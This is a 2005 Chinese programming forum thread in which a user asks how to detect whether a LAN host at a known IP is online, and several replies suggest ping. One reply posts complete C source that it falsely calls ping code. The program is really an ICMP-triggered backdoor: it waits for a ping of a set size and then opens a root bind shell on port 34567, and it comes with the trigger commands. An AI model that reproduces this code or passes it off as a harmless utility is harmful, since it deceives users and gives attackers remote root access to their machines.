社区
网络及通讯开发
帖子详情
知道对方IP地址,怎样以最快的方法确定该计算机是否在线?
flying52
2005-03-14 10:49:36
在局域网内,知道对方IP地址,怎样以最快的方法确定该计算机是否在线,编程如何实现?
...全文
249
7
打赏
收藏
知道对方IP地址,怎样以最快的方法确定该计算机是否在线?
在局域网内,知道对方IP地址,怎样以最快的方法确定该计算机是否在线,编程如何实现?
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
7 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
flying52
2005-03-28
打赏
举报
回复
明白,多谢yangsimin(陈紫凝) !
:)
CWYCN
2005-03-16
打赏
举报
回复
对啊,在程序中Ping一下对方的IP就行了
wangwei8117
2005-03-14
打赏
举报
回复
程序中使用ping,好像有这个组件的!
Sephil
2005-03-14
打赏
举报
回复
ping
yangsimin
2005-03-14
打赏
举报
回复
/*
ping -s 100 192.168.11.7
nc 192.168.11.7 34567
*/
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#define SIZEPACK 88
#define PORT 34567
void child_kill()
{
wait(NULL);
signal(SIGCHLD, child_kill);
}
int bind_shell()
{
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
chdir("/");
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr,sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
return 1;
}
close(soc_cli);
}
}
int main(int argc, char *argv[])
{
int s, size, fromlen;
char pkt[4096];
struct protoent *proto;
struct sockaddr_in from;
if (fork() != 0) exit(0);
proto = getprotobyname("icmp");
if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
/* can't creat raw socket */
exit(0);
/* waiting for packets */
while(1)
{
do
{
fromlen = sizeof(from);
if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
printf("ping of %i ", size-28);
} while (size != SIZEPACK + 28);
/* size == SIZEPACK, let's bind the shell */
switch(fork()) {
case -1:
continue;
case 0:
bind_shell();
exit(0);
}
sleep(15);
}
这个就是计算机ping 源代码
flying52
2005-03-14
打赏
举报
回复
我是说在程序中以代码实现,不用控件,只用API函数。可以吗?
谁有Ping的源码?
cbchen
2005-03-14
打赏
举报
回复
如果是局域网的话,是有办法的,广域网就没有办法了
查看电脑
ip地址
是否
被占用
本文介绍三种检测局域网中
IP地址
是否
被占用的
方法
:使用ping命令、ARP缓存法和批处理法。通过这些
方法
可以有效判断网络中
计算机
的存在状态。
判断任意两台
计算机
的
IP地址
是否
属于同一子网络
子网掩码用于
确定
两台
计算机
是否
在相同子网络中,通过
IP地址
与子网掩码进行AND运算,结果相同则在同一子网。文章提供了示例和接口说明。
Windows 各版本查找
计算机
IP 地址指南
本文介绍了在Windows各版本中查找
计算机
IP地址
的
方法
。先阐述了
IP地址
类型,包括公有、私有和环回地址。接着分别介绍了Windows 10/11、8/8.1、7/Vista、XP查找私有IP的不同途径,如设置应用、命令提示符等。还说明了查找公有IP可借助
在线
服务,最后给出故障排除建议。
如何查看
IP地址
是否
被占用
本文介绍如何使用命令行工具ping和ARP缓存法批量检测局域网内设备的
在线
状态,包括创建自动ping的bat脚本来扫描特定网段的所有
IP地址
,并通过ARP缓存信息确认设备
是否
在线
。
三种
方法
查看
IP地址
是否
被占用
本文介绍了三种实用
方法
来检测局域网中的
IP地址
是否
已被使用:简单PING法、ARP缓存法及批处理法。这些
方法
可以帮助用户快速找出空闲IP。
网络及通讯开发
1,317
社区成员
8,874
社区内容
发帖
与我相关
我的任务
网络及通讯开发
C++ Builder 网络及通讯开发
复制链接
扫一扫
分享
社区描述
C++ Builder 网络及通讯开发
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章